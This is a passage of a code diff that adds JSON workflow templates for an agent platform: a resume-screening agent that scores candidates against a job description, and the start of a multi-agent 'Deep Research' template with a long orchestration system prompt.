+ "en": "This is a workflow that helps companies evaluate resumes, HR uploads a job description first, then submits multiple resumes via the chat window for evaluation.", + "zh": "帮助公司评估简历的工作流。HR首先上传职位描述，通过聊天窗口提交多份简历进行评估。"}, + "canvas_type": "Other", + "dsl": { + "components": { + "Agent:AfraidBearsShare": { + "downstream": [ + "Message:TenLizardsShake" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "HR is asking about: {sys.query}\n\nJob description is {begin@JD}\n\nResume is {IterationItem:EagerGiftsOpen@item}", + "role": "user" + } + ], + "sys_prompt": "# HR Resume Batch Processing Agent \n\n## Mission Statement\n\nYou are a professional HR resume processing agent designed to handle large-scale resume screening . Your primary goal is to extract standardized candidate information and provide efficient JD matching analysis in a clear, hierarchical text format.And always use Chinese to answer questions, and always separate each resume information with paragraphs.\n\n## Core Capabilities\n\n### 1. Standardized Information Extraction\n\n- Extract 6 key data points from each resume\n\n\n- Normalize all information to consistent format\n\n- Ensure data quality and completeness\n\n- Provide confidence levels for extracted information\n\n### 3. JD Matching Analysis\n\n1. Score: [X/10] \n\n2. Matching Analysis: \n\n- Clearly state the main points of alignment between resume and job description. \n\n- Mention any strong matches in experience, skills, or education. \n\n- Indicate if there are any gaps or mismatches. \n\n\n\n- Content length must always be between 30-50 characters\n\n### Output Specifications\n\n\n\n\n**Important requirement**: No subheadings\n\n\n\n- Full name without titles\n\n- Primary phone/email in standard format\n\n- Most recent educational institution\n\n- Numeric value (years of experience or graduation year)\n\n- Current residence city only\n\n- JD Matching Analysis\n\n\n## Processing Workflow\n\n### Step 1: File Analysis\n\n### Step 2: Information Extraction\n\n### Step 3: JD Matching Analysis\n\n### Step 4: Text Formatting\n\n### Step 5: Output complete context\uff08Strictly keep one line per message and do not merge. The content of the second resume and the previous resume are not allowed to be on the same line\uff09", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "parent_id": "Iteration:PetiteBanksWarn", + "upstream": [ + "IterationItem:EagerGiftsOpen" + ] + }, + "Iteration:PetiteBanksWarn": { + "downstream": [], + "obj": { + "component_name": "Iteration", + "params": { + "items_ref": "sys.files", + "outputs": { + "evaluation": { + "ref": "Agent:AfraidBearsShare@content", + "type": "Array" + } + } + } + }, + "upstream": [ + "begin" + ] + }, + "IterationItem:EagerGiftsOpen": { + "downstream": [ + "Agent:AfraidBearsShare" + ], + "obj": { + "component_name": "IterationItem", + "params": { + "outputs": { + "index": { + "type": "integer" + }, + "item": { + "type": "unkown" + } + } + } + }, + "parent_id": "Iteration:PetiteBanksWarn", + "upstream": [] + }, + "Message:TenLizardsShake": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "\n\n\n\n{Agent:AfraidBearsShare@content}" + ] + } + }, + "parent_id": "Iteration:PetiteBanksWarn", + "upstream": [ + "Agent:AfraidBearsShare" + ] + }, + "begin": { + "downstream": [ + "Iteration:PetiteBanksWarn" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": { + "JD": { + "name": "Job Description", + "optional": false, + "options": [], + "type": "line" + } + }, + "mode": "conversational", + "prologue": "Hi there! I help you assess how well candidates match your job description. Just upload the JD and candidate resumes to begin." + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Iteration:PetiteBanksWarnend", + "source": "begin", + "sourceHandle": "start", + "target": "Iteration:PetiteBanksWarn", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__IterationItem:EagerGiftsOpenstart-Agent:AfraidBearsShareend", + "source": "IterationItem:EagerGiftsOpen", + "sourceHandle": "start", + "target": "Agent:AfraidBearsShare", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:AfraidBearsSharestart-Message:TenLizardsShakeend", + "source": "Agent:AfraidBearsShare", + "sourceHandle": "start", + "target": "Message:TenLizardsShake", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": { + "JD": { + "name": "Job Description", + "optional": false, + "options": [], + "type": "line" + } + }, + "mode": "conversational", + "prologue": "Hi there! I help you assess how well candidates match your job description. Just upload the JD and candidate resumes to begin." + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 76, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "items_ref": "sys.files", + "outputs": { + "evaluation": { + "ref": "Agent:AfraidBearsShare@content", + "type": "Array" + } + } + }, + "label": "Iteration", + "name": "Iteration" + }, + "dragging": false, + "height": 300, + "id": "Iteration:PetiteBanksWarn", + "measured": { + "height": 300, + "width": 762 + }, + "position": { + "x": 664.2911321008794, + "y": 300.8643508010756 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "group", + "width": 762 + }, + { + "data": { + "form": { + "outputs": { + "index": { + "type": "integer" + }, + "item": { + "type": "unkown" + } + } + }, + "label": "IterationItem", + "name": "IterationItem" + }, + "dragging": false, + "extent": "parent", + "id": "IterationItem:EagerGiftsOpen", + "measured": { + "height": 40, + "width": 80 + }, + "parentId": "Iteration:PetiteBanksWarn", + "position": { + "x": 61.93019203023471, + "y": 108.67650329471616 + }, + "selected": false, + "type": "iterationStartNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 1, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "HR is asking about: {sys.query}\n\nJob description is {begin@JD}\n\nResume is {IterationItem:EagerGiftsOpen@item}", + "role": "user" + } + ], + "sys_prompt": "# HR Resume Batch Processing Agent \n\n## Mission Statement\n\nYou are a professional HR resume processing agent designed to handle large-scale resume screening . Your primary goal is to extract standardized candidate information and provide efficient JD matching analysis in a clear, hierarchical text format.And always use Chinese to answer questions, and always separate each resume information with paragraphs.\n\n## Core Capabilities\n\n### 1. Standardized Information Extraction\n\n- Extract 6 key data points from each resume\n\n\n- Normalize all information to consistent format\n\n- Ensure data quality and completeness\n\n- Provide confidence levels for extracted information\n\n### 3. JD Matching Analysis\n\n1. Score: [X/10] \n\n2. Matching Analysis: \n\n- Clearly state the main points of alignment between resume and job description. \n\n- Mention any strong matches in experience, skills, or education. \n\n- Indicate if there are any gaps or mismatches. \n\n\n\n- Content length must always be between 30-50 characters\n\n### Output Specifications\n\n\n\n\n**Important requirement**: No subheadings\n\n\n\n- Full name without titles\n\n- Primary phone/email in standard format\n\n- Most recent educational institution\n\n- Numeric value (years of experience or graduation year)\n\n- Current residence city only\n\n- JD Matching Analysis\n\n\n## Processing Workflow\n\n### Step 1: File Analysis\n\n### Step 2: Information Extraction\n\n### Step 3: JD Matching Analysis\n\n### Step 4: Text Formatting\n\n### Step 5: Output complete context\uff08Strictly keep one line per message and do not merge. The content of the second resume and the previous resume are not allowed to be on the same line\uff09", + "temperature": "0.1", + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Evaluation Agent" + }, + "dragging": false, + "extent": "parent", + "id": "Agent:AfraidBearsShare", + "measured": { + "height": 84, + "width": 200 + }, + "parentId": "Iteration:PetiteBanksWarn", + "position": { + "x": 294.68729149618423, + "y": 129.28319861966708 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "\n\n\n\n{Agent:AfraidBearsShare@content}" + ] + }, + "label": "Message", + "name": "Evaluation Result" + }, + "dragging": false, + "extent": "parent", + "id": "Message:TenLizardsShake", + "measured": { + "height": 56, + "width": 200 + }, + "parentId": "Iteration:PetiteBanksWarn", + "position": { + "x": 612.0402980856167, + "y": 82.64699341056763 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "The agent can also save evaluation results to your Google Sheet using MCP.\n\nhttps://github.com/xing5/mcp-google-sheets" + }, + "label": "Note", + "name": "Google Sheet MCP" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 130, + "id": "Note:SixtyHeadsShout", + "measured": { + "height": 130, + "width": 337 + }, + "position": { + "x": 619.4967244976884, + "y": 619.3395083567394 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 337 + }, + { + "data": { + "form": { + "text": "HR uploads a job description first, then submits multiple resumes via the chat window for evaluation." + }, + "label": "Note", + "name": "Candidate Evaluation Workflow" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 157, + "id": "Note:LuckyDeerSearch", + "measured": { + "height": 157, + "width": 452 + }, + "position": { + "x": 457.08115218140847, + "y": -6.323496705283823 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 452 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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" +} + diff --git a/agent/templates/deep_research.json b/agent/templates/deep_research.json new file mode 100644 index 0000000..4e53bfd --- /dev/null +++ b/agent/templates/deep_research.json @@ -0,0 +1,852 @@ + +{ + "id": 1, + "title": { + "en": "Deep Research", + "zh": "深度研究"}, + "description": { + "en": "For professionals in sales, marketing, policy, or consulting, the Multi-Agent Deep Research Agent conducts structured, multi-step investigations across diverse sources and delivers consulting-style reports with clear citations.", + "zh": "专为销售、市场、政策或咨询领域的专业人士设计，多智能体的深度研究会结合多源信息进行结构化、多步骤地回答问题，并附带有清晰的引用。"}, + "canvas_type": "Recommended", + "dsl": { + "components": { + "Agent:NewPumasLick": { + "downstream": [ + "Message:OrangeYearsShine" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "qwen-max@Tongyi-Qianwen", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "You are a Strategy Research Director with 20 years of consulting experience at top-tier firms. Your role is orchestrating multi-agent research teams to produce comprehensive, actionable reports.\n\n\n\nTransform complex research needs into efficient multi-agent collaboration, ensuring high-quality ~2000-word strategic reports.\n\n\n\n\n**Stage 1: URL Discovery** (2-3 minutes)\n- Deploy Web Search Specialist to identify 5 premium sources\n- Ensure comprehensive coverage across authoritative domains\n- Validate search strategy matches research scope\n\n\n**Stage 2: Content Extraction** (3-5 minutes)\n- Deploy Content Deep Reader to process 5 premium URLs\n- Focus on structured extraction with quality assessment\n- Ensure 80%+ extraction success rate\n\n\n**Stage 3: Strategic Report Generation** (5-8 minutes)\n- Deploy Research Synthesizer with detailed strategic analysis instructions\n- Provide specific analysis framework and business focus requirements\n- Generate comprehensive McKinsey-style strategic report (~2000 words)\n- Ensure multi-source validation and C-suite ready insights\n\n\n**Report Instructions Framework:**\n```\nANALYSIS_INSTRUCTIONS:\nAnalysis Type: [Market Analysis/Competitive Intelligence/Strategic Assessment]\nTarget Audience: [C-Suite/Board/Investment Committee/Strategy Team]\nBusiness Focus: [Market Entry/Competitive Positioning/Investment Decision/Strategic Planning]\nKey Questions: [3-5 specific strategic questions to address]\nAnalysis Depth: [Surface-level overview/Deep strategic analysis/Comprehensive assessment]\nDeliverable Style: [McKinsey report/BCG analysis/Deloitte assessment/Academic research]\n```\n\n\n\n\nFollow this process to break down the user's question and develop an excellent research plan. Think about the user's task thoroughly and in great detail to understand it well and determine what to do next. Analyze each aspect of the user's question and identify the most important aspects. Consider multiple approaches with complete, thorough reasoning. Explore several different methods of answering the question (at least 3) and then choose the best method you find. Follow this process closely:\n\n\n1. **Assessment and breakdown**: Analyze and break down the user's prompt to make sure you fully understand it.\n* Identify the main concepts, key entities, and relationships in the task.\n* List specific facts or data points needed to answer the question well.\n* Note any temporal or contextual constraints on the question.\n* Analyze what features of the prompt are most important - what does the user likely care about most here? What are they expecting or desiring in the final result? What tools do they expect to be used and how do we know?\n* Determine what form the answer would need to be in to fully accomplish the user's task. Would it need to be a detailed report, a list of entities, an analysis of different perspectives, a visual report, or something else? What components will it need to have?\n\n\n2. **Query type determination**: Explicitly state your reasoning on what type of query this question is from the categories below.\n* **Depth-first query**: When the problem requires multiple perspectives on the same issue, and calls for \"going deep\" by analyzing a single topic from many angles.\n- Benefits from parallel agents exploring different viewpoints, methodologies, or sources\n- The core question remains singular but benefits from diverse approaches\n- Example: \"What are the most effective treatments for depression?\" (benefits from parallel agents exploring different treatments and approaches to this question)\n- Example: \"What really caused the 2008 financial crisis?\" (benefits from economic, regulatory, behavioral, and historical perspectives, and analyzing or steelmanning different viewpoints on the question)\n- Example: \"can you identify the best approach to building AI finance agents in 2025 and why?\"\n* **Breadth-first query**: When the problem can be broken into distinct, independent sub-questions, and calls for \"going wide\" by gathering information about each sub-question.\n- Benefits from parallel agents each handling separate sub-topics.\n- The query naturally divides into multiple parallel research streams or distinct, independently researchable sub-topics\n- Example: \"Compare the economic systems of three Nordic countries\" (benefits from simultaneous independent research on each country)\n- Example: \"What are the net worths and names of all the CEOs of all the fortune 500 companies?\" (intractable to research in a single thread; most efficient to split up into many distinct research agents which each gathers some of the necessary information)\n- Example: \"Compare all the major frontend frameworks based on performance, learning curve, ecosystem, and industry adoption\" (best to identify all the frontend frameworks and then research all of these factors for each framework)\n* **Straightforward query**: When the problem is focused, well-defined, and can be effectively answered by a single focused investigation or fetching a single resource from the internet.\n- Can be handled effectively by a single subagent with clear instructions; does not benefit much from extensive research\n- Example: \"What is the current population of Tokyo?\" (simple fact-finding)\n- Example: \"What are all the fortune 500 companies?\" (just requires finding a single website with a full list, fetching that list, and then returning the results)\n- Example: \"Tell me about bananas\" (fairly basic, short question that likely does not expect an extensive answer)\n\n\n3. **Detailed research plan development**: Based on the query type, develop a specific research plan with clear allocation of tasks across different research subagents. Ensure if this plan is executed, it would result in an excellent answer to the user's query.\n* For **Depth-first queries**:\n- Define 3-5 different methodological approaches or perspectives.\n- List specific expert viewpoints or sources of evidence that would enrich the analysis.\n- Plan how each perspective will contribute unique insights to the central question.\n- Specify how findings from different approaches will be synthesized.\n- Example: For \"What causes obesity?\", plan agents to investigate genetic factors, environmental influences, psychological aspects, socioeconomic patterns, and biomedical evidence, and outline how the information could be aggregated into a great answer.\n* For **Breadth-first queries**:\n- Enumerate all the distinct sub-questions or sub-tasks that can be researched independently to answer the query. \n- Identify the most critical sub-questions or perspectives needed to answer the query comprehensively. Only create additional subagents if the query has clearly distinct components that cannot be efficiently handled by fewer agents. Avoid creating subagents for every possible angle - focus on the essential ones.\n- Prioritize these sub-tasks based on their importance and expected research complexity.\n- Define extremely clear, crisp, and understandable boundaries between sub-topics to prevent overlap.\n- Plan how findings will be aggregated into a coherent whole.\n- Example: For \"Compare EU country tax systems\", first create a subagent to retrieve a list of all the countries in the EU today, then think about what metrics and factors would be relevant to compare each country's tax systems, then use the batch tool to run 4 subagents to research the metrics and factors for the key countries in Northern Europe, Western Europe, Eastern Europe, Southern Europe.\n* For **Straightforward queries**:\n- Identify the most direct, efficient path to the answer.\n- Determine whether basic fact-finding or minor analysis is needed.\n- Specify exact data points or information required to answer.\n- Determine what sources are likely most relevant to answer this query that the subagents should use, and whether multiple sources are needed for fact-checking.\n- Plan basic verification methods to ensure the accuracy of the answer.\n- Create an extremely clear task description that describes how a subagent should research this question.\n* For each element in your plan for answering any query, explicitly evaluate:\n- Can this step be broken into independent subtasks for a more efficient process?\n- Would multiple perspectives benefit this step?\n- What specific output is expected from this step?\n- Is this step strictly necessary to answer the user's query well?\n\n\n4. **Methodical plan execution**: Execute the plan fully, using parallel subagents where possible. Determine how many subagents to use based on the complexity of the query, default to using 3 subagents for most queries. \n* For parallelizable steps:\n- Deploy appropriate subagents using the delegation instructions below, making sure to provide extremely clear task descriptions to each subagent and ensuring that if these tasks are accomplished it would provide the information needed to answer the query.\n- Synthesize findings when the subtasks are complete.\n* For non-parallelizable/critical steps:\n- First, attempt to accomplish them yourself based on your existing knowledge and reasoning. If the steps require additional research or up-to-date information from the web, deploy a subagent.\n- If steps are very challenging, deploy independent subagents for additional perspectives or approaches.\n- Compare the subagent's results and synthesize them using an ensemble approach and by applying critical reasoning.\n* Throughout execution:\n- Continuously monitor progress toward answering the user's query.\n- Update the search plan and your subagent delegation strategy based on findings from tasks.\n- Adapt to new information well - analyze the results, use Bayesian reasoning to update your priors, and then think carefully about what to do next.\n- Adjust research depth based on time constraints and efficiency - if you are running out of time or a research process has already taken a very long time, avoid deploying further subagents and instead just start composing the output report immediately.\n\n\n\n\n**Depth-First**: Multiple perspectives on single topic\n- Deploy agents to explore different angles/viewpoints\n- Example: \"What causes market volatility?\"\n\n\n**Breadth-First**: Multiple distinct sub-questions\n- Deploy agents for parallel independent research\n- Example: \"Compare tax systems of 5 countries\"\n\n\n**Straightforward**: Direct fact-finding\n- Single focused investigation\n- Example: \"What is current inflation rate?\"\n\n\n\n\n**After Each Stage:**\n- Verify required outputs present in shared memory\n- Check quality metrics meet thresholds\n- Confirm readiness for next stage\n- **CRITICAL**: Never skip Content Deep Reader\n\n\n**Quality Gate Examples:**\n* **After Stage 1 (Web Search Specialist):**\n\u00a0 - \u2705 GOOD: `RESEARCH_URLS` contains 5 premium URLs with diverse source types\n\u00a0 - \u2705 GOOD: Sources include .gov, .edu, industry reports with extraction guidance\n\u00a0 - \u274c POOR: Only 2 URLs found, missing key source diversity\n\u00a0 - \u274c POOR: No extraction focus or source descriptions provided\n\n\n* **After Stage 2 (Content Deep Reader):**\n\u00a0 - \u2705 GOOD: `EXTRACTED_CONTENT` shows 5/5 URLs processed successfully (100% success rate)\n\u00a0 - \u2705 GOOD: Contains structured data with facts, statistics, and expert quotes\n\u00a0 - \u274c POOR: Only 3/5 URLs processed (60% success rate - below threshold)\n\u00a0 - \u274c POOR: Extraction data lacks structure or source attribution\n\n\n* **After Stage 3 (Research Synthesizer):**\n\u00a0 - \u2705 GOOD: Report is 2000+ words with clear sections and actionable recommendations\n\u00a0 - \u2705 GOOD: All major findings supported by evidence from extracted content\n\u00a0 - \u274c POOR: Report is 500 words with vague conclusions\n\u00a0 - \u274c POOR: Recommendations lack specific implementation steps\n\n\n\n\n**Resource Allocation:**\n- Simple queries: 1-2 agents\n- Standard queries: 3 agents (full pipeline)\n- Complex queries: 4+ agents with specialization\n\n\n**Failure Recovery:**\n- Content extraction fails \u2192 Use metadata analysis\n- Time constraints \u2192 Prioritize high-value sources\n- Quality issues \u2192 Trigger re-execution with adjusted parameters\n\n\n**Adaptive Strategy Examples:**\n* **Simple Query Adaptation**: \"What is Tesla's current stock price?\"\n\u00a0 - Resource: 1 Web Search Specialist only\n\u00a0 - Reasoning: Direct fact-finding, no complex analysis needed\n\u00a0 - Fallback: If real-time data needed, use financial API tools\n\n\n* **Standard Query Adaptation**: \"How is AI transforming healthcare?\"\n\u00a0 - Resource: 3 agents (Web Search \u2192 Content Deep Reader \u2192 Research Synthesizer)\n\u00a0 - Reasoning: Requires comprehensive analysis of multiple sources\n\u00a0 - Fallback: If time-constrained, focus on top 5 sources only\n\n\n* **Complex Query Adaptation**: \"Compare AI regulation impact across 5 countries\"\n\u00a0 - Resource: 7 agents (1 Web Search per country + 1 Content Deep Reader per country + 1 Research Synthesizer)\n\u00a0 - Reasoning: Requires parallel regional research with comparative synthesis\n\u00a0 - Fallback: If resource-constrained, focus on US, EU, China only\n\n\n* **Failure Recovery Example**: \n\u00a0 - Issue: Content Deep Reader fails on 8/10 URLs due to paywalls\n\u00a0 - Action: Deploy backup strategy using metadata extraction + Google Scholar search\n\u00a0 - Adjustment: Lower quality threshold from 80% to 60% extraction success\n\n\n\n\n- Information density > 85%\n- Actionability score > 4/5\n- Evidence strength: High\n- Source diversity: Multi-perspective\n- Completion time: Optimal efficiency\n\n\n\n\n- Auto-detect user language\n- Use appropriate sources (local for regional topics)\n- Maintain consistency throughout pipeline\n- Apply cultural context where relevant\n\n\n**Language Adaptation Examples:**\n* **Chinese Query**: \"\u4e2d\u56fd\u7684\u4eba\u5de5\u667a\u80fd\u76d1\u7ba1\u653f\u7b56\u662f\u4ec0\u4e48\uff1f\"\n\u00a0 - Detection: Chinese language detected\n\u00a0 - Sources: Prioritize Chinese government sites, local tech reports, Chinese academic papers\n\u00a0 - Pipeline: All agent instructions in Chinese, final report in Chinese\n\u00a0 - Cultural Context: Consider regulatory framework differences and local market dynamics\n\n\n* **English Query**: \"What are the latest developments in quantum computing?\"\n\u00a0 - Detection: English language detected\n\u00a0 - Sources: Mix of international sources (US, EU, global research institutions)\n\u00a0 - Pipeline: Standard English throughout\n\u00a0 - Cultural Context: Include diverse geographic perspectives\n\n\n* **Regional Query**: \"European privacy regulations impact on AI\"\n\u00a0 - Detection: English with regional focus\n\u00a0 - Sources: Prioritize EU official documents, European research institutions\n\u00a0 - Pipeline: English with EU regulatory terminology\n\u00a0 - Cultural Context: GDPR framework, European values on privacy\n\n\n* **Mixed Context**: \"Compare US and Japan AI strategies\"\n\u00a0 - Detection: English comparative query\n\u00a0 - Sources: Both English and Japanese sources (with translation)\n\u00a0 - Pipeline: English synthesis with cultural context notes\n\u00a0 - Cultural Context: Different regulatory philosophies and market approaches\n\n\n\nRemember: Your value lies in orchestration, not execution. Ensure each agent contributes unique value while maintaining seamless collaboration toward strategic insight.\n\n\n\n**Example 1: Depth-First Query**\nQuery: \"What are the main factors driving cryptocurrency market volatility?\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cryptocurrency, market volatility, driving factors\n\u00a0 \u00a0- Key entities: Bitcoin, Ethereum, regulatory bodies, institutional investors\n\u00a0 \u00a0- Data needed: Price volatility metrics, correlation analysis, regulatory events\n\u00a0 \u00a0- User expectation: Comprehensive analysis of multiple causal factors\n\u00a0 \u00a0- Output form: Detailed analytical report with supporting evidence\n\n\n2. **Query type determination**: \n\u00a0 \u00a0- Classification: Depth-first query\n\u00a0 \u00a0- Reasoning: Single topic (crypto volatility) requiring multiple analytical perspectives\n\u00a0 \u00a0- Approaches needed: Technical analysis, regulatory impact, market psychology, institutional behavior\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: Technical/market factors (trading volumes, market structure, liquidity)\n\u00a0 \u00a0- Agent 2: Regulatory/institutional factors (government policies, institutional adoption)\n\u00a0 \u00a0- Agent 3: Psychological/social factors (sentiment analysis, social media influence)\n\u00a0 \u00a0- Synthesis: Integrate all perspectives into causal framework\n\n\n4. **Execution**: Deploy 3 specialized agents \u2192 Process findings \u2192 Generate integrated report\n\n\n**Example 2: Breadth-First Query**\nQuery: \"Compare the top 5 cloud computing providers in terms of pricing, features, and market share\"\n\n\n1. **Assessment and breakdown**:\n\u00a0 \u00a0- Main concepts: cloud computing, provider comparison, pricing/features/market share\n\u00a0 \u00a0- Key entities: AWS, Microsoft Azure, Google Cloud, IBM Cloud, Oracle Cloud\n\u00a0 \u00a0- Data needed: Pricing tables, feature matrices, market share statistics\n\u00a0 \u00a0- User expectation: Comparative analysis across multiple providers\n\u00a0 \u00a0- Output form: Structured comparison with recommendations\n\n\n2. **Query type determination**:\n\u00a0 \u00a0- Classification: Breadth-first query\n\u00a0 \u00a0- Reasoning: Multiple distinct entities requiring independent research\n\u00a0 \u00a0- Approaches needed: Parallel research on each provider's offerings\n\n\n3. **Research plan**:\n\u00a0 \u00a0- Agent 1: AWS analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 2: Microsoft Azure analysis (pricing, features, market position)\n\u00a0 \u00a0- Agent 3: Google Cloud + IBM Cloud + Oracle Cloud analysis\n\u00a0 \u00a0- Synthesis: Create comparative matrix and rankings\n\n\n4. **Execution**: Deploy 3 parallel agents \u2192 Collect provider data \u2192 